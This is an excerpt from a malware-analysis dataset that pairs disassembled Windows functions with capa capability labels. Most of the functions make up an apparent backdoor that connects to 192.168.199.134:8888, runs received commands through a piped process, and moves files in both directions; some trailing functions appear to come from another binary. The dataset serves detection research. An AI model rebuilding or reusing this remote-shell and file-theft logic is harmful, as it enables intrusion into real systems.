joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401750
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004024d0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004024d0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4017b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40706c]
test esi, esi
jle 0x4018d0
mov eax, dword [0x407070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x4017e4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401867
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4017d0
mov dword [esp], ebx
call fcn.004021b0
mov edi, eax
test eax, eax
je 0x4018f7
mov eax, dword [0x407070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.004022f0
mov edx, dword [0x407070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4018d7
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401860
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401870
add dword [0x40706c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x407070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401860
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401750
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x4017ee
mov eax, dword [0x407070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401750
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401750
lea esi, cs:[esi]
nop
Function at 0x401e20
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x407088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x407080]
sub esp, 4
test ebx, ebx
je 0x401e75
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x401e6e
test eax, eax
jne 0x401e6e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401e50
mov dword [esp], 0x407088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4021b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4021d5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4021e0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4021d5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402228
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40221e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40222a
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x402210
xor eax, eax
pop ebx
pop esi
ret

Function at 0x402590
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov word [ebp - 0x18], 2
mov dword [esp], str.192.168.199.134
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x14], eax
mov dword [esp], 0x22b8
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x16], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x402600
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0xffffffff
jmp 0x402605
mov eax, 1
leave
ret

Function at 0x402608
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov word [ebp - 0xa], 0x31
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__chdir]
call eax
mov eax, dword [sym.imp.msvcrt.dll__errno]
call eax
mov eax, dword [eax]
cmp eax, 2
jne 0x402640
mov byte [ebp - 0xa], 0x30
mov eax, dword [sym.imp.msvcrt.dll__errno]
call eax
mov dword [eax], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
lea eax, [ebp - 0xa]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
test eax, eax
jg 0x402672
mov eax, 0xffffffff
jmp 0x402677
mov eax, 1
leave
ret
Function at 0x40267c
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
mov word [ebp - 0xa], 0x202
movzx eax, word [ebp - 0xa]
lea edx, [ebp - 0x1a0]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x4026b1
mov eax, 0xffffffff
jmp 0x4026fd
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4026fa
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x402700
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreatePipe]
call eax
sub esp, 0x10
test eax, eax
je 0x40277f
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
call eax
sub esp, 0xc
test eax, eax
je 0x40277f
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00402ac8
test eax, eax
jne 0x402786
mov eax, 0xffffffff
jmp 0x40279f
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 8], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00402f3c
leave
ret
Function at 0x4027a4
Capabilities:
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x2024
call fcn.00402480
sub esp, eax
call fcn.00401590
call fcn.0040267c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x402957
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00402590
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402957
lea eax, [ebp - 0x2011]
mov edx, 0x2001
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
lea eax, [ebp - 0x2011]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
jmp case.default.0x4028c8
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2011]
mov dword [esp], eax
call fcn.00402e10
test eax, eax
jle 0x402953
mov dword [esp + 8], 0x2000
mov dword [esp + 4], 0
lea eax, [ebp - 0x2011]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x2000
lea eax, [ebp - 0x2011]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
test eax, eax
jle 0x402956
movzx eax, byte [ebp - 0x2011]
movsx eax, al
sub eax, 0x30
cmp eax, 6
ja case.default.0x4028c8
mov eax, dword [eax*4 + 0x405058]
jmp eax
lea eax, [ebp - 0x2011]
add eax, 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00402700
mov dword [ebp - 0xc], eax
jmp case.default.0x4028c8
lea eax, [ebp - 0x2011]
add eax, 1
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00402608
mov dword [ebp - 0xc], eax
jmp case.default.0x4028c8
mov eax, 0
jmp 0x40296d
lea eax, [ebp - 0x2011]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00402978
mov dword [ebp - 0xc], eax
jmp case.default.0x4028c8
lea eax, [ebp - 0x2011]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00402e74
mov dword [ebp - 0xc], eax
jmp case.default.0x4028c8
mov dword [ebp - 0xc], 0
nop
cmp dword [ebp - 0xc], 0
jg 0x40283e
jmp 0x402957
nop
jmp 0x402957
nop
mov dword [esp], 0x1f40
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x4027c3
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x402978
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [esp + 8], 2
mov dword [esp + 4], 0x40000000
mov dword [esp], eax
call fcn.00402c08
mov dword [ebp - 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x405054
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
test eax, eax
jg 0x4029d5
mov eax, 0xffffffff
jmp 0x402a65
mov dword [esp + 0xc], 0
mov dword [esp + 8], 8
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
cmp eax, 8
je 0x402a08
mov eax, 0xffffffff
jmp 0x402a65
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00402a68
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x18]
or eax, dword [ebp - 0x14]
je 0x402a52
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00402c50
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x402ac8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x60]
mov dword [esp], eax
call sub.msvcrt.dll_memset
cmp dword [ebp + 8], 0
je 0x402b29
mov dword [ebp - 0x60], 0x44
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x34]
or ah, 1
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x60]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402ba8
cmp dword [ebp + 8], 0
jne 0x402ba8
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
jmp 0x402bb8
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x402c50
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x20]
or eax, dword [ebp - 0x1c]
je 0x402ce8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x2000
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x402ce8
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
je 0x402ce8
mov eax, dword [ebp - 0x10]
mov edx, 0
sub dword [ebp - 0x20], eax
sbb dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
or eax, dword [ebp - 0x1c]
jne 0x402c71
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x402cf0
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x50
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htonl]
call eax
sub esp, 4
mov edx, 0
mov edx, eax
xor eax, eax
mov esi, eax
mov edi, edx
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov eax, edx
xor edx, edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htonl]
call eax
sub esp, 4
mov edx, 0
add eax, esi
adc edx, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 8
lea eax, [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
test eax, eax
jg 0x402d7c
mov eax, 0xffffffff
jmp 0x402e08
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x30]
or eax, dword [ebp - 0x2c]
je 0x402df5
jmp 0x402db6
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x402df5
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x2000
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
test eax, eax
je 0x402df5
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x402d8d
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
Function at 0x402e10
Capabilities:
Get common file path
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0x2000
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call eax
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
add eax, 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
test eax, eax
jg 0x402e6a
mov eax, 0xffffffff
jmp 0x402e6f
mov eax, 1
leave
ret

Function at 0x402e74
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0xc], 0xffffffff
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], eax
call fcn.00402c08
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x402ec0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.00402be0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00402cf0
test eax, eax
jg 0x402ef2
mov eax, 0xffffffff
jmp 0x402f39
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
test eax, eax
jg 0x402f24
mov eax, 0xffffffff
jmp 0x402f39
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
leave
ret

Function at 0x402f3c
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x2000
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0xc]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0xe], ax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
lea eax, [ebp - 0xe]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
test eax, eax
jg 0x402fb9
mov eax, 0xffffffff
jmp 0x402ffa
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x402fc7
mov eax, 1
jmp 0x402ffa
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
test eax, eax
jg 0x402f42
mov eax, 0xffffffff
leave
ret
Function at 0x4053e8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebx + 1]
push eax
push 0
call dword [0x430058]
push eax
call dword [0x430048]
and dword [ebp - 4], 0
mov edi, eax
mov byte [edi + ebx], 0
test ebx, ebx
je 0x405446
mov eax, dword [ebp + 8]
sub eax, edi
mov dword [ebp - 8], eax
push esi
mov esi, dword [ebp - 4]
push dword [ebp + 0xc]
add esi, edi
call dword [0x4300a4]
mov ecx, eax
mov eax, dword [ebp - 4]
xor edx, edx
div ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov al, byte [edx + eax]
xor al, byte [ecx + esi]
inc dword [ebp - 4]
mov byte [esi], al
cmp dword [ebp - 4], ebx
jb 0x405418
pop esi
mov eax, edi
pop edi
leave
ret

Function at 0x40563e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x10], 0x33323130
mov dword [ebp - 0xc], 0x37363534
mov word [ebp - 8], 0x3938
mov byte [ebp - 6], 0
mov ecx, edi
mov eax, esi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
inc ecx
test eax, eax
jne 0x40566e
mov byte [ecx], al
pop ebx
mov eax, esi
xor edx, edx
push 0xa
pop esi
div esi
dec ecx
mov dl, byte [ebp + edx - 0x10]
mov esi, eax
mov byte [ecx], dl
test esi, esi
jne 0x40567c
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, edi
pop esi
call fcn.0041dbe0
leave
ret
Function at 0x407563
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
sub esp, 0xc
mov dword [ebp - 0x8d8], eax
lea eax, [ebp + 0xc]
mov esi, esp
call fcn.00411119
lea eax, [ebp - 0x980]
push eax
call fcn.004056b6
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x944]
rep movsd dword es:[edi], dword [esi]
push 0x4369af
lea esi, [ebp - 0x8f8]
call fcn.004110e7
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [ebp + 0x18]
call dword [0x65e4dc]
push dword [0x65e1ac]
mov dword [ebp - 0x8dc], eax
push dword [ebp - 0x940]
xor esi, esi
call dword [0x65e5b8]
test eax, eax
jne 0x4075ea
inc esi
cmp dword [ebp - 0x8dc], ebx
je 0x40776e
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x92c]
push dword [ebp - 0x934]
push dword [ebp - 0x8dc]
call dword [0x65e5dc]
mov dword [ebp - 0x8e8], eax
cmp eax, ebx
je 0x407762
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x65dff8]
push dword [ebp - 0x918]
push 0x4378e4
push dword [ebp - 0x8e8]
call dword [0x65e61c]
mov edi, eax
mov dword [ebp - 0x8e0], edi
cmp edi, ebx
je 0x407756
cmp esi, ebx
je 0x407683
or dword [ebp - 0x8ec], 0x10300
push 4
lea eax, [ebp - 0x8ec]
push eax
push 0x1f
push edi
call dword [0x65e3d4]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x65e5a4]
push ebx
mov esi, eax
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x13
push edi
mov dword [ebp - 0x8fc], 0x100
call dword [0x65e634]
test eax, eax
jne 0x4076cb
push 0x4378e8
mov esi, dword [ebp - 0x8d8]
call fcn.004110e7
jmp 0x40777f
lea edx, [ebp - 0x104]
call fcn.004126fd
cmp eax, 0xc8
jne 0x4077ab
cmp esi, ebx
je 0x40774a
mov edi, 0x7cf
jmp 0x40772b
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0x40774a
mov byte [ebp + eax - 0x8d4], bl
lea eax, [ebp - 0x8d4]
push eax
lea esi, [ebp - 0x908]
lea eax, [ebp - 0x8f8]
call fcn.00411209
lea esi, [ebp - 0x8f8]
call fcn.0041118d
mov eax, dword [ebp - 0x908]
call fcn.00403520
lea eax, [ebp - 0x8e4]
push eax
push edi
lea eax, [ebp - 0x8d4]
push eax
push dword [ebp - 0x8e0]
call dword [0x65e504]
test eax, eax
jne 0x4076ec
push dword [ebp - 0x8e0]
call dword [0x65e4d8]
push dword [ebp - 0x8e8]
call dword [0x65e4d8]
push dword [ebp - 0x8dc]
call dword [0x65e4d8]
mov esi, dword [ebp - 0x8d8]
lea eax, [ebp - 0x8f8]
call fcn.00411119
mov eax, dword [ebp - 0x8f8]
call fcn.00403520
mov eax, dword [ebp + 0xc]
call fcn.00403520
mov eax, dword [ebp + 0x18]
call fcn.00403520
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041dbe0
leave
ret
push 0x4378f0
jmp 0x4076bb